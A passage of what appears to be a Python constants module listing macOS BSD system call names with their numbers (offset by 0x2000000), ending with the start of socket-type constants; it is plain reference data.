Constant('SYS_dup',41 + 0x2000000) SYS_pipe = Constant('SYS_pipe',42 + 0x2000000) SYS_getegid = Constant('SYS_getegid',43 + 0x2000000) SYS_sigaction = Constant('SYS_sigaction',46 + 0x2000000) SYS_getgid = Constant('SYS_getgid',47 + 0x2000000) SYS_sigprocmask = Constant('SYS_sigprocmask',48 + 0x2000000) SYS_getlogin = Constant('SYS_getlogin',49 + 0x2000000) SYS_setlogin = Constant('SYS_setlogin',50 + 0x2000000) SYS_acct = Constant('SYS_acct',51 + 0x2000000) SYS_sigpending = Constant('SYS_sigpending',52 + 0x2000000) SYS_sigaltstack = Constant('SYS_sigaltstack',53 + 0x2000000) SYS_ioctl = Constant('SYS_ioctl',54 + 0x2000000) SYS_reboot = Constant('SYS_reboot',55 + 0x2000000) SYS_revoke = Constant('SYS_revoke',56 + 0x2000000) SYS_symlink = Constant('SYS_symlink',57 + 0x2000000) SYS_readlink = Constant('SYS_readlink',58 + 0x2000000) SYS_execve = Constant('SYS_execve',59 + 0x2000000) SYS_umask = Constant('SYS_umask',60 + 0x2000000) SYS_chroot = Constant('SYS_chroot',61 + 0x2000000) SYS_msync = Constant('SYS_msync',65 + 0x2000000) SYS_vfork = Constant('SYS_vfork',66 + 0x2000000) SYS_munmap = Constant('SYS_munmap',73 + 0x2000000) SYS_mprotect = Constant('SYS_mprotect',74 + 0x2000000) SYS_madvise = Constant('SYS_madvise',75 + 0x2000000) SYS_mincore = Constant('SYS_mincore',78 + 0x2000000) SYS_getgroups = Constant('SYS_getgroups',79 + 0x2000000) SYS_setgroups = Constant('SYS_setgroups',80 + 0x2000000) SYS_getpgrp = Constant('SYS_getpgrp',81 + 0x2000000) SYS_setpgid = Constant('SYS_setpgid',82 + 0x2000000) SYS_setitimer = Constant('SYS_setitimer',83 + 0x2000000) SYS_swapon = Constant('SYS_swapon',85 + 0x2000000) SYS_getitimer = Constant('SYS_getitimer',86 + 0x2000000) SYS_getdtablesize = Constant('SYS_getdtablesize',89 + 0x2000000) SYS_dup2 = Constant('SYS_dup2',90 + 0x2000000) SYS_fcntl = Constant('SYS_fcntl',92 + 0x2000000) SYS_select = Constant('SYS_select',93 + 0x2000000) SYS_fsync = Constant('SYS_fsync',95 + 0x2000000) SYS_setpriority = Constant('SYS_setpriority',96 + 0x2000000) SYS_socket = Constant('SYS_socket',97 + 0x2000000) SYS_connect = Constant('SYS_connect',98 + 0x2000000) SYS_getpriority = Constant('SYS_getpriority',100 + 0x2000000) SYS_bind = Constant('SYS_bind',104 + 0x2000000) SYS_setsockopt = Constant('SYS_setsockopt',105 + 0x2000000) SYS_listen = Constant('SYS_listen',106 + 0x2000000) SYS_sigsuspend = Constant('SYS_sigsuspend',111 + 0x2000000) SYS_gettimeofday = Constant('SYS_gettimeofday',116 + 0x2000000) SYS_getrusage = Constant('SYS_getrusage',117 + 0x2000000) SYS_getsockopt = Constant('SYS_getsockopt',118 + 0x2000000) SYS_readv = Constant('SYS_readv',120 + 0x2000000) SYS_writev = Constant('SYS_writev',121 + 0x2000000) SYS_settimeofday = Constant('SYS_settimeofday',122 + 0x2000000) SYS_fchown = Constant('SYS_fchown',123 + 0x2000000) SYS_fchmod = Constant('SYS_fchmod',124 + 0x2000000) SYS_setreuid = Constant('SYS_setreuid',126 + 0x2000000) SYS_setregid = Constant('SYS_setregid',127 + 0x2000000) SYS_rename = Constant('SYS_rename',128 + 0x2000000) SYS_flock = Constant('SYS_flock',131 + 0x2000000) SYS_mkfifo = Constant('SYS_mkfifo',132 + 0x2000000) SYS_sendto = Constant('SYS_sendto',133 + 0x2000000) SYS_shutdown = Constant('SYS_shutdown',134 + 0x2000000) SYS_socketpair = Constant('SYS_socketpair',135 + 0x2000000) SYS_mkdir = Constant('SYS_mkdir',136 + 0x2000000) SYS_rmdir = Constant('SYS_rmdir',137 + 0x2000000) SYS_utimes = Constant('SYS_utimes',138 + 0x2000000) SYS_futimes = Constant('SYS_futimes',139 + 0x2000000) SYS_adjtime = Constant('SYS_adjtime',140 + 0x2000000) SYS_gethostuuid = Constant('SYS_gethostuuid',142 + 0x2000000) SYS_setsid = Constant('SYS_setsid',147 + 0x2000000) SYS_getpgid = Constant('SYS_getpgid',151 + 0x2000000) SYS_setprivexec = Constant('SYS_setprivexec',152 + 0x2000000) SYS_pread = Constant('SYS_pread',153 + 0x2000000) SYS_pwrite = Constant('SYS_pwrite',154 + 0x2000000) SYS_nfssvc = Constant('SYS_nfssvc',155 + 0x2000000) SYS_statfs = Constant('SYS_statfs',157 + 0x2000000) SYS_fstatfs = Constant('SYS_fstatfs',158 + 0x2000000) SYS_unmount = Constant('SYS_unmount',159 + 0x2000000) SYS_getfh = Constant('SYS_getfh',161 + 0x2000000) SYS_quotactl = Constant('SYS_quotactl',165 + 0x2000000) SYS_mount = Constant('SYS_mount',167 + 0x2000000) SYS_csops = Constant('SYS_csops',169 + 0x2000000) SYS_csops_audittoken = Constant('SYS_csops_audittoken',170 + 0x2000000) SYS_waitid = Constant('SYS_waitid',173 + 0x2000000) SYS_kdebug_typefilter = Constant('SYS_kdebug_typefilter',177 + 0x2000000) SYS_kdebug_trace_string = Constant('SYS_kdebug_trace_string',178 + 0x2000000) SYS_kdebug_trace64 = Constant('SYS_kdebug_trace64',179 + 0x2000000) SYS_kdebug_trace = Constant('SYS_kdebug_trace',180 + 0x2000000) SYS_setgid = Constant('SYS_setgid',181 + 0x2000000) SYS_setegid = Constant('SYS_setegid',182 + 0x2000000) SYS_seteuid = Constant('SYS_seteuid',183 + 0x2000000) SYS_sigreturn = Constant('SYS_sigreturn',184 + 0x2000000) SYS_panic_with_data = Constant('SYS_panic_with_data',185 + 0x2000000) SYS_thread_selfcounts = Constant('SYS_thread_selfcounts',186 + 0x2000000) SYS_fdatasync = Constant('SYS_fdatasync',187 + 0x2000000) SYS_stat = Constant('SYS_stat',188 + 0x2000000) SYS_fstat = Constant('SYS_fstat',189 + 0x2000000) SYS_lstat = Constant('SYS_lstat',190 + 0x2000000) SYS_pathconf = Constant('SYS_pathconf',191 + 0x2000000) SYS_fpathconf = Constant('SYS_fpathconf',192 + 0x2000000) SYS_getrlimit = Constant('SYS_getrlimit',194 + 0x2000000) SYS_setrlimit = Constant('SYS_setrlimit',195 + 0x2000000) SYS_getdirentries = Constant('SYS_getdirentries',196 + 0x2000000) SYS_mmap = Constant('SYS_mmap',197 + 0x2000000) SYS_lseek = Constant('SYS_lseek',199 + 0x2000000) SYS_truncate = Constant('SYS_truncate',200 + 0x2000000) SYS_ftruncate = Constant('SYS_ftruncate',201 + 0x2000000) SYS_sysctl = Constant('SYS_sysctl',202 + 0x2000000) SYS_mlock = Constant('SYS_mlock',203 + 0x2000000) SYS_munlock = Constant('SYS_munlock',204 + 0x2000000) SYS_undelete = Constant('SYS_undelete',205 + 0x2000000) SYS_open_dprotected_np = Constant('SYS_open_dprotected_np',216 + 0x2000000) SYS_fsgetpath_ext = Constant('SYS_fsgetpath_ext',217 + 0x2000000) SYS_openat_dprotected_np = Constant('SYS_openat_dprotected_np',218 + 0x2000000) SYS_getattrlist = Constant('SYS_getattrlist',220 + 0x2000000) SYS_setattrlist = Constant('SYS_setattrlist',221 + 0x2000000) SYS_getdirentriesattr = Constant('SYS_getdirentriesattr',222 + 0x2000000) SYS_exchangedata = Constant('SYS_exchangedata',223 + 0x2000000) SYS_searchfs = Constant('SYS_searchfs',225 + 0x2000000) SYS_delete = Constant('SYS_delete',226 + 0x2000000) SYS_copyfile = Constant('SYS_copyfile',227 + 0x2000000) SYS_fgetattrlist = Constant('SYS_fgetattrlist',228 + 0x2000000) SYS_fsetattrlist = Constant('SYS_fsetattrlist',229 + 0x2000000) SYS_poll = Constant('SYS_poll',230 + 0x2000000) SYS_getxattr = Constant('SYS_getxattr',234 + 0x2000000) SYS_fgetxattr = Constant('SYS_fgetxattr',235 + 0x2000000) SYS_setxattr = Constant('SYS_setxattr',236 + 0x2000000) SYS_fsetxattr = Constant('SYS_fsetxattr',237 + 0x2000000) SYS_removexattr = Constant('SYS_removexattr',238 + 0x2000000) SYS_fremovexattr = Constant('SYS_fremovexattr',239 + 0x2000000) SYS_listxattr = Constant('SYS_listxattr',240 + 0x2000000) SYS_flistxattr = Constant('SYS_flistxattr',241 + 0x2000000) SYS_fsctl = Constant('SYS_fsctl',242 + 0x2000000) SYS_initgroups = Constant('SYS_initgroups',243 + 0x2000000) SYS_posix_spawn = Constant('SYS_posix_spawn',244 + 0x2000000) SYS_ffsctl = Constant('SYS_ffsctl',245 + 0x2000000) SYS_fhopen = Constant('SYS_fhopen',248 + 0x2000000) SYS_minherit = Constant('SYS_minherit',250 + 0x2000000) SYS_semsys = Constant('SYS_semsys',251 + 0x2000000) SYS_msgsys = Constant('SYS_msgsys',252 + 0x2000000) SYS_shmsys = Constant('SYS_shmsys',253 + 0x2000000) SYS_semctl = Constant('SYS_semctl',254 + 0x2000000) SYS_semget = Constant('SYS_semget',255 + 0x2000000) SYS_semop = Constant('SYS_semop',256 + 0x2000000) SYS_msgctl = Constant('SYS_msgctl',258 + 0x2000000) SYS_msgget = Constant('SYS_msgget',259 + 0x2000000) SYS_msgsnd = Constant('SYS_msgsnd',260 + 0x2000000) SYS_msgrcv = Constant('SYS_msgrcv',261 + 0x2000000) SYS_shmat = Constant('SYS_shmat',262 + 0x2000000) SYS_shmctl = Constant('SYS_shmctl',263 + 0x2000000) SYS_shmdt = Constant('SYS_shmdt',264 + 0x2000000) SYS_shmget = Constant('SYS_shmget',265 + 0x2000000) SYS_shm_open = Constant('SYS_shm_open',266 + 0x2000000) SYS_shm_unlink = Constant('SYS_shm_unlink',267 + 0x2000000) SYS_sem_open = Constant('SYS_sem_open',268 + 0x2000000) SYS_sem_close = Constant('SYS_sem_close',269 + 0x2000000) SYS_sem_unlink = Constant('SYS_sem_unlink',270 + 0x2000000) SYS_sem_wait = Constant('SYS_sem_wait',271 + 0x2000000) SYS_sem_trywait = Constant('SYS_sem_trywait',272 + 0x2000000) SYS_sem_post = Constant('SYS_sem_post',273 + 0x2000000) SYS_sysctlbyname = Constant('SYS_sysctlbyname',274 + 0x2000000) SYS_open_extended = Constant('SYS_open_extended',277 + 0x2000000) SYS_umask_extended = Constant('SYS_umask_extended',278 + 0x2000000) SYS_stat_extended = Constant('SYS_stat_extended',279 + 0x2000000) SYS_lstat_extended = Constant('SYS_lstat_extended',280 + 0x2000000) SYS_fstat_extended = Constant('SYS_fstat_extended',281 + 0x2000000) SYS_chmod_extended = Constant('SYS_chmod_extended',282 + 0x2000000) SYS_fchmod_extended = Constant('SYS_fchmod_extended',283 + 0x2000000) SYS_access_extended = Constant('SYS_access_extended',284 + 0x2000000) SYS_settid = Constant('SYS_settid',285 + 0x2000000) SYS_gettid = Constant('SYS_gettid',286 + 0x2000000) SYS_setsgroups = Constant('SYS_setsgroups',287 + 0x2000000) SYS_getsgroups = Constant('SYS_getsgroups',288 + 0x2000000) SYS_setwgroups = Constant('SYS_setwgroups',289 + 0x2000000) SYS_getwgroups = Constant('SYS_getwgroups',290 + 0x2000000) SYS_mkfifo_extended = Constant('SYS_mkfifo_extended',291 + 0x2000000) SYS_mkdir_extended = Constant('SYS_mkdir_extended',292 + 0x2000000) SYS_identitysvc = Constant('SYS_identitysvc',293 + 0x2000000) SYS_shared_region_check_np = Constant('SYS_shared_region_check_np',294 + 0x2000000) SYS_vm_pressure_monitor = Constant('SYS_vm_pressure_monitor',296 + 0x2000000) SYS_psynch_rw_longrdlock = Constant('SYS_psynch_rw_longrdlock',297 + 0x2000000) SYS_psynch_rw_yieldwrlock = Constant('SYS_psynch_rw_yieldwrlock',298 + 0x2000000) SYS_psynch_rw_downgrade = Constant('SYS_psynch_rw_downgrade',299 + 0x2000000) SYS_psynch_rw_upgrade = Constant('SYS_psynch_rw_upgrade',300 + 0x2000000) SYS_psynch_mutexwait = Constant('SYS_psynch_mutexwait',301 + 0x2000000) SYS_psynch_mutexdrop = Constant('SYS_psynch_mutexdrop',302 + 0x2000000) SYS_psynch_cvbroad = Constant('SYS_psynch_cvbroad',303 + 0x2000000) SYS_psynch_cvsignal = Constant('SYS_psynch_cvsignal',304 + 0x2000000) SYS_psynch_cvwait = Constant('SYS_psynch_cvwait',305 + 0x2000000) SYS_psynch_rw_rdlock = Constant('SYS_psynch_rw_rdlock',306 + 0x2000000) SYS_psynch_rw_wrlock = Constant('SYS_psynch_rw_wrlock',307 + 0x2000000) SYS_psynch_rw_unlock = Constant('SYS_psynch_rw_unlock',308 + 0x2000000) SYS_psynch_rw_unlock2 = Constant('SYS_psynch_rw_unlock2',309 + 0x2000000) SYS_getsid = Constant('SYS_getsid',310 + 0x2000000) SYS_settid_with_pid = Constant('SYS_settid_with_pid',311 + 0x2000000) SYS_psynch_cvclrprepost = Constant('SYS_psynch_cvclrprepost',312 + 0x2000000) SYS_aio_fsync = Constant('SYS_aio_fsync',313 + 0x2000000) SYS_aio_return = Constant('SYS_aio_return',314 + 0x2000000) SYS_aio_suspend = Constant('SYS_aio_suspend',315 + 0x2000000) SYS_aio_cancel = Constant('SYS_aio_cancel',316 + 0x2000000) SYS_aio_error = Constant('SYS_aio_error',317 + 0x2000000) SYS_aio_read = Constant('SYS_aio_read',318 + 0x2000000) SYS_aio_write = Constant('SYS_aio_write',319 + 0x2000000) SYS_lio_listio = Constant('SYS_lio_listio',320 + 0x2000000) SYS_iopolicysys = Constant('SYS_iopolicysys',322 + 0x2000000) SYS_process_policy = Constant('SYS_process_policy',323 + 0x2000000) SYS_mlockall = Constant('SYS_mlockall',324 + 0x2000000) SYS_munlockall = Constant('SYS_munlockall',325 + 0x2000000) SYS_issetugid = Constant('SYS_issetugid',327 + 0x2000000) SYS___pthread_kill = Constant('SYS___pthread_kill',328 + 0x2000000) SYS___pthread_sigmask = Constant('SYS___pthread_sigmask',329 + 0x2000000) SYS___sigwait = Constant('SYS___sigwait',330 + 0x2000000) SYS___disable_threadsignal = Constant('SYS___disable_threadsignal',331 + 0x2000000) SYS___pthread_markcancel = Constant('SYS___pthread_markcancel',332 + 0x2000000) SYS___pthread_canceled = Constant('SYS___pthread_canceled',333 + 0x2000000) SYS___semwait_signal = Constant('SYS___semwait_signal',334 + 0x2000000) SYS_proc_info = Constant('SYS_proc_info',336 + 0x2000000) SYS_sendfile = Constant('SYS_sendfile',337 + 0x2000000) SYS_stat64 = Constant('SYS_stat64',338 + 0x2000000) SYS_fstat64 = Constant('SYS_fstat64',339 + 0x2000000) SYS_lstat64 = Constant('SYS_lstat64',340 + 0x2000000) SYS_stat64_extended = Constant('SYS_stat64_extended',341 + 0x2000000) SYS_lstat64_extended = Constant('SYS_lstat64_extended',342 + 0x2000000) SYS_fstat64_extended = Constant('SYS_fstat64_extended',343 + 0x2000000) SYS_getdirentries64 = Constant('SYS_getdirentries64',344 + 0x2000000) SYS_statfs64 = Constant('SYS_statfs64',345 + 0x2000000) SYS_fstatfs64 = Constant('SYS_fstatfs64',346 + 0x2000000) SYS_getfsstat64 = Constant('SYS_getfsstat64',347 + 0x2000000) SYS___pthread_chdir = Constant('SYS___pthread_chdir',348 + 0x2000000) SYS___pthread_fchdir = Constant('SYS___pthread_fchdir',349 + 0x2000000) SYS_audit = Constant('SYS_audit',350 + 0x2000000) SYS_auditon = Constant('SYS_auditon',351 + 0x2000000) SYS_getauid = Constant('SYS_getauid',353 + 0x2000000) SYS_setauid = Constant('SYS_setauid',354 + 0x2000000) SYS_getaudit_addr = Constant('SYS_getaudit_addr',357 + 0x2000000) SYS_setaudit_addr = Constant('SYS_setaudit_addr',358 + 0x2000000) SYS_auditctl = Constant('SYS_auditctl',359 + 0x2000000) SYS_bsdthread_create = Constant('SYS_bsdthread_create',360 + 0x2000000) SYS_bsdthread_terminate = Constant('SYS_bsdthread_terminate',361 + 0x2000000) SYS_kqueue = Constant('SYS_kqueue',362 + 0x2000000) SYS_kevent = Constant('SYS_kevent',363 + 0x2000000) SYS_lchown = Constant('SYS_lchown',364 + 0x2000000) SYS_bsdthread_register = Constant('SYS_bsdthread_register',366 + 0x2000000) SYS_workq_open = Constant('SYS_workq_open',367 + 0x2000000) SYS_workq_kernreturn = Constant('SYS_workq_kernreturn',368 + 0x2000000) SYS_kevent64 = Constant('SYS_kevent64',369 + 0x2000000) SYS_thread_selfid = Constant('SYS_thread_selfid',372 + 0x2000000) SYS_ledger = Constant('SYS_ledger',373 + 0x2000000) SYS_kevent_qos = Constant('SYS_kevent_qos',374 + 0x2000000) SYS_kevent_id = Constant('SYS_kevent_id',375 + 0x2000000) SYS___mac_execve = Constant('SYS___mac_execve',380 + 0x2000000) SYS___mac_syscall = Constant('SYS___mac_syscall',381 + 0x2000000) SYS___mac_get_file = Constant('SYS___mac_get_file',382 + 0x2000000) SYS___mac_set_file = Constant('SYS___mac_set_file',383 + 0x2000000) SYS___mac_get_link = Constant('SYS___mac_get_link',384 + 0x2000000) SYS___mac_set_link = Constant('SYS___mac_set_link',385 + 0x2000000) SYS___mac_get_proc = Constant('SYS___mac_get_proc',386 + 0x2000000) SYS___mac_set_proc = Constant('SYS___mac_set_proc',387 + 0x2000000) SYS___mac_get_fd = Constant('SYS___mac_get_fd',388 + 0x2000000) SYS___mac_set_fd = Constant('SYS___mac_set_fd',389 + 0x2000000) SYS___mac_get_pid = Constant('SYS___mac_get_pid',390 + 0x2000000) SYS_pselect = Constant('SYS_pselect',394 + 0x2000000) SYS_pselect_nocancel = Constant('SYS_pselect_nocancel',395 + 0x2000000) SYS_read_nocancel = Constant('SYS_read_nocancel',396 + 0x2000000) SYS_write_nocancel = Constant('SYS_write_nocancel',397 + 0x2000000) SYS_open_nocancel = Constant('SYS_open_nocancel',398 + 0x2000000) SYS_close_nocancel = Constant('SYS_close_nocancel',399 + 0x2000000) SYS_wait4_nocancel = Constant('SYS_wait4_nocancel',400 + 0x2000000) SYS_recvmsg_nocancel = Constant('SYS_recvmsg_nocancel',401 + 0x2000000) SYS_sendmsg_nocancel = Constant('SYS_sendmsg_nocancel',402 + 0x2000000) SYS_recvfrom_nocancel = Constant('SYS_recvfrom_nocancel',403 + 0x2000000) SYS_accept_nocancel = Constant('SYS_accept_nocancel',404 + 0x2000000) SYS_msync_nocancel = Constant('SYS_msync_nocancel',405 + 0x2000000) SYS_fcntl_nocancel = Constant('SYS_fcntl_nocancel',406 + 0x2000000) SYS_select_nocancel = Constant('SYS_select_nocancel',407 + 0x2000000) SYS_fsync_nocancel = Constant('SYS_fsync_nocancel',408 + 0x2000000) SYS_connect_nocancel = Constant('SYS_connect_nocancel',409 + 0x2000000) SYS_sigsuspend_nocancel = Constant('SYS_sigsuspend_nocancel',410 + 0x2000000) SYS_readv_nocancel = Constant('SYS_readv_nocancel',411 + 0x2000000) SYS_writev_nocancel = Constant('SYS_writev_nocancel',412 + 0x2000000) SYS_sendto_nocancel = Constant('SYS_sendto_nocancel',413 + 0x2000000) SYS_pread_nocancel = Constant('SYS_pread_nocancel',414 + 0x2000000) SYS_pwrite_nocancel = Constant('SYS_pwrite_nocancel',415 + 0x2000000) SYS_waitid_nocancel = Constant('SYS_waitid_nocancel',416 + 0x2000000) SYS_poll_nocancel = Constant('SYS_poll_nocancel',417 + 0x2000000) SYS_msgsnd_nocancel = Constant('SYS_msgsnd_nocancel',418 + 0x2000000) SYS_msgrcv_nocancel = Constant('SYS_msgrcv_nocancel',419 + 0x2000000) SYS_sem_wait_nocancel = Constant('SYS_sem_wait_nocancel',420 + 0x2000000) SYS_aio_suspend_nocancel = Constant('SYS_aio_suspend_nocancel',421 + 0x2000000) SYS___sigwait_nocancel = Constant('SYS___sigwait_nocancel',422 + 0x2000000) SYS___semwait_signal_nocancel = Constant('SYS___semwait_signal_nocancel',423 + 0x2000000) SYS___mac_mount = Constant('SYS___mac_mount',424 + 0x2000000) SYS___mac_get_mount = Constant('SYS___mac_get_mount',425 + 0x2000000) SYS___mac_getfsstat = Constant('SYS___mac_getfsstat',426 + 0x2000000) SYS_fsgetpath = Constant('SYS_fsgetpath',427 + 0x2000000) SYS_audit_session_self = Constant('SYS_audit_session_self',428 + 0x2000000) SYS_audit_session_join = Constant('SYS_audit_session_join',429 + 0x2000000) SYS_fileport_makeport = Constant('SYS_fileport_makeport',430 + 0x2000000) SYS_fileport_makefd = Constant('SYS_fileport_makefd',431 + 0x2000000) SYS_audit_session_port = Constant('SYS_audit_session_port',432 + 0x2000000) SYS_pid_suspend = Constant('SYS_pid_suspend',433 + 0x2000000) SYS_pid_resume = Constant('SYS_pid_resume',434 + 0x2000000) SYS_pid_hibernate = Constant('SYS_pid_hibernate',435 + 0x2000000) SYS_pid_shutdown_sockets = Constant('SYS_pid_shutdown_sockets',436 + 0x2000000) SYS_kas_info = Constant('SYS_kas_info',439 + 0x2000000) SYS_memorystatus_control = Constant('SYS_memorystatus_control',440 + 0x2000000) SYS_guarded_open_np = Constant('SYS_guarded_open_np',441 + 0x2000000) SYS_guarded_close_np = Constant('SYS_guarded_close_np',442 + 0x2000000) SYS_guarded_kqueue_np = Constant('SYS_guarded_kqueue_np',443 + 0x2000000) SYS_change_fdguard_np = Constant('SYS_change_fdguard_np',444 + 0x2000000) SYS_usrctl = Constant('SYS_usrctl',445 + 0x2000000) SYS_proc_rlimit_control = Constant('SYS_proc_rlimit_control',446 + 0x2000000) SYS_connectx = Constant('SYS_connectx',447 + 0x2000000) SYS_disconnectx = Constant('SYS_disconnectx',448 + 0x2000000) SYS_peeloff = Constant('SYS_peeloff',449 + 0x2000000) SYS_socket_delegate = Constant('SYS_socket_delegate',450 + 0x2000000) SYS_telemetry = Constant('SYS_telemetry',451 + 0x2000000) SYS_proc_uuid_policy = Constant('SYS_proc_uuid_policy',452 + 0x2000000) SYS_memorystatus_get_level = Constant('SYS_memorystatus_get_level',453 + 0x2000000) SYS_system_override = Constant('SYS_system_override',454 + 0x2000000) SYS_vfs_purge = Constant('SYS_vfs_purge',455 + 0x2000000) SYS_sfi_ctl = Constant('SYS_sfi_ctl',456 + 0x2000000) SYS_sfi_pidctl = Constant('SYS_sfi_pidctl',457 + 0x2000000) SYS_coalition = Constant('SYS_coalition',458 + 0x2000000) SYS_coalition_info = Constant('SYS_coalition_info',459 + 0x2000000) SYS_necp_match_policy = Constant('SYS_necp_match_policy',460 + 0x2000000) SYS_getattrlistbulk = Constant('SYS_getattrlistbulk',461 + 0x2000000) SYS_clonefileat = Constant('SYS_clonefileat',462 + 0x2000000) SYS_openat = Constant('SYS_openat',463 + 0x2000000) SYS_openat_nocancel = Constant('SYS_openat_nocancel',464 + 0x2000000) SYS_renameat = Constant('SYS_renameat',465 + 0x2000000) SYS_faccessat = Constant('SYS_faccessat',466 + 0x2000000) SYS_fchmodat = Constant('SYS_fchmodat',467 + 0x2000000) SYS_fchownat = Constant('SYS_fchownat',468 + 0x2000000) SYS_fstatat = Constant('SYS_fstatat',469 + 0x2000000) SYS_fstatat64 = Constant('SYS_fstatat64',470 + 0x2000000) SYS_linkat = Constant('SYS_linkat',471 + 0x2000000) SYS_unlinkat = Constant('SYS_unlinkat',472 + 0x2000000) SYS_readlinkat = Constant('SYS_readlinkat',473 + 0x2000000) SYS_symlinkat = Constant('SYS_symlinkat',474 + 0x2000000) SYS_mkdirat = Constant('SYS_mkdirat',475 + 0x2000000) SYS_getattrlistat = Constant('SYS_getattrlistat',476 + 0x2000000) SYS_proc_trace_log = Constant('SYS_proc_trace_log',477 + 0x2000000) SYS_bsdthread_ctl = Constant('SYS_bsdthread_ctl',478 + 0x2000000) SYS_openbyid_np = Constant('SYS_openbyid_np',479 + 0x2000000) SYS_recvmsg_x = Constant('SYS_recvmsg_x',480 + 0x2000000) SYS_sendmsg_x = Constant('SYS_sendmsg_x',481 + 0x2000000) SYS_thread_selfusage = Constant('SYS_thread_selfusage',482 + 0x2000000) SYS_csrctl = Constant('SYS_csrctl',483 + 0x2000000) SYS_guarded_open_dprotected_np = Constant('SYS_guarded_open_dprotected_np',484 + 0x2000000) SYS_guarded_write_np = Constant('SYS_guarded_write_np',485 + 0x2000000) SYS_guarded_pwrite_np = Constant('SYS_guarded_pwrite_np',486 + 0x2000000) SYS_guarded_writev_np = Constant('SYS_guarded_writev_np',487 + 0x2000000) SYS_renameatx_np = Constant('SYS_renameatx_np',488 + 0x2000000) SYS_mremap_encrypted = Constant('SYS_mremap_encrypted',489 + 0x2000000) SYS_netagent_trigger = Constant('SYS_netagent_trigger',490 + 0x2000000) SYS_stack_snapshot_with_config = Constant('SYS_stack_snapshot_with_config',491 + 0x2000000) SYS_microstackshot = Constant('SYS_microstackshot',492 + 0x2000000) SYS_grab_pgo_data = Constant('SYS_grab_pgo_data',493 + 0x2000000) SYS_persona = Constant('SYS_persona',494 + 0x2000000) SYS_mach_eventlink_signal = Constant('SYS_mach_eventlink_signal',496 + 0x2000000) SYS_mach_eventlink_wait_until = Constant('SYS_mach_eventlink_wait_until',497 + 0x2000000) SYS_mach_eventlink_signal_wait_until = Constant('SYS_mach_eventlink_signal_wait_until',498 + 0x2000000) SYS_work_interval_ctl = Constant('SYS_work_interval_ctl',499 + 0x2000000) SYS_getentropy = Constant('SYS_getentropy',500 + 0x2000000) SYS_necp_open = Constant('SYS_necp_open',501 + 0x2000000) SYS_necp_client_action = Constant('SYS_necp_client_action',502 + 0x2000000) SYS___nexus_open = Constant('SYS___nexus_open',503 + 0x2000000) SYS___nexus_register = Constant('SYS___nexus_register',504 + 0x2000000) SYS___nexus_deregister = Constant('SYS___nexus_deregister',505 + 0x2000000) SYS___nexus_create = Constant('SYS___nexus_create',506 + 0x2000000) SYS___nexus_destroy = Constant('SYS___nexus_destroy',507 + 0x2000000) SYS___nexus_get_opt = Constant('SYS___nexus_get_opt',508 + 0x2000000) SYS___nexus_set_opt = Constant('SYS___nexus_set_opt',509 + 0x2000000) SYS___channel_open = Constant('SYS___channel_open',510 + 0x2000000) SYS___channel_get_info = Constant('SYS___channel_get_info',511 + 0x2000000) SYS___channel_sync = Constant('SYS___channel_sync',512 + 0x2000000) SYS___channel_get_opt = Constant('SYS___channel_get_opt',513 + 0x2000000) SYS___channel_set_opt = Constant('SYS___channel_set_opt',514 + 0x2000000) SYS_ulock_wait = Constant('SYS_ulock_wait',515 + 0x2000000) SYS_ulock_wake = Constant('SYS_ulock_wake',516 + 0x2000000) SYS_fclonefileat = Constant('SYS_fclonefileat',517 + 0x2000000) SYS_fs_snapshot = Constant('SYS_fs_snapshot',518 + 0x2000000) SYS_register_uexc_handler = Constant('SYS_register_uexc_handler',519 + 0x2000000) SYS_terminate_with_payload = Constant('SYS_terminate_with_payload',520 + 0x2000000) SYS_abort_with_payload = Constant('SYS_abort_with_payload',521 + 0x2000000) SYS_necp_session_open = Constant('SYS_necp_session_open',522 + 0x2000000) SYS_necp_session_action = Constant('SYS_necp_session_action',523 + 0x2000000) SYS_setattrlistat = Constant('SYS_setattrlistat',524 + 0x2000000) SYS_net_qos_guideline = Constant('SYS_net_qos_guideline',525 + 0x2000000) SYS_fmount = Constant('SYS_fmount',526 + 0x2000000) SYS_ntp_adjtime = Constant('SYS_ntp_adjtime',527 + 0x2000000) SYS_ntp_gettime = Constant('SYS_ntp_gettime',528 + 0x2000000) SYS_os_fault_with_payload = Constant('SYS_os_fault_with_payload',529 + 0x2000000) SYS_kqueue_workloop_ctl = Constant('SYS_kqueue_workloop_ctl',530 + 0x2000000) SYS___mach_bridge_remote_time = Constant('SYS___mach_bridge_remote_time',531 + 0x2000000) SYS_coalition_ledger = Constant('SYS_coalition_ledger',532 + 0x2000000) SYS_log_data = Constant('SYS_log_data',533 + 0x2000000) SYS_memorystatus_available_memory = Constant('SYS_memorystatus_available_memory',534 + 0x2000000) SYS_objc_bp_assist_cfg_np = Constant('SYS_objc_bp_assist_cfg_np',535 + 0x2000000) SYS_shared_region_map_and_slide_2_np = Constant('SYS_shared_region_map_and_slide_2_np',536 + 0x2000000) SYS_pivot_root = Constant('SYS_pivot_root',537 + 0x2000000) SYS_task_inspect_for_pid = Constant('SYS_task_inspect_for_pid',538 + 0x2000000) SYS_task_read_for_pid = Constant('SYS_task_read_for_pid',539 + 0x2000000) SYS_preadv = Constant('SYS_preadv',540 + 0x2000000) SYS_pwritev = Constant('SYS_pwritev',541 + 0x2000000) SYS_preadv_nocancel = Constant('SYS_preadv_nocancel',542 + 0x2000000) SYS_pwritev_nocancel = Constant('SYS_pwritev_nocancel',543 + 0x2000000) SYS_ulock_wait2 = Constant('SYS_ulock_wait2',544 + 0x2000000) SYS_proc_info_extended_id = Constant('SYS_proc_info_extended_id',545 + 0x2000000) SYS_tracker_action = Constant('SYS_tracker_action',546 + 0x2000000) SYS_debug_syscall_reject = Constant('SYS_debug_syscall_reject',547 + 0x2000000) SYS_debug_syscall_reject_config = Constant('SYS_debug_syscall_reject_config',548 + 0x2000000) SYS_graftdmg = Constant('SYS_graftdmg',549 + 0x2000000) SYS_map_with_linking_np = Constant('SYS_map_with_linking_np',550 + 0x2000000) SYS_freadlink = Constant('SYS_freadlink',551 + 0x2000000) SYS_record_system_event = Constant('SYS_record_system_event',552 + 0x2000000) SYS_mkfifoat = Constant('SYS_mkfifoat',553 + 0x2000000) SYS_mknodat = Constant('SYS_mknodat',554 + 0x2000000) SYS_ungraftdmg = Constant('SYS_ungraftdmg',555 + 0x2000000) SYS_coalition_policy_set = Constant('SYS_coalition_policy_set',556 + 0x2000000) SYS_coalition_policy_get = Constant('SYS_coalition_policy_get',557 + 0x2000000) SYS_MAXSYSCALL = Constant('SYS_MAXSYSCALL',558 + 0x2000000) SYS_invalid = Constant('SYS_invalid',63 + 0x2000000) SOCK_STREAM = Constant('SOCK_STREAM',1) SOCK_DGRAM = Constant('SOCK_DGRAM',2) SOCK_RAW = 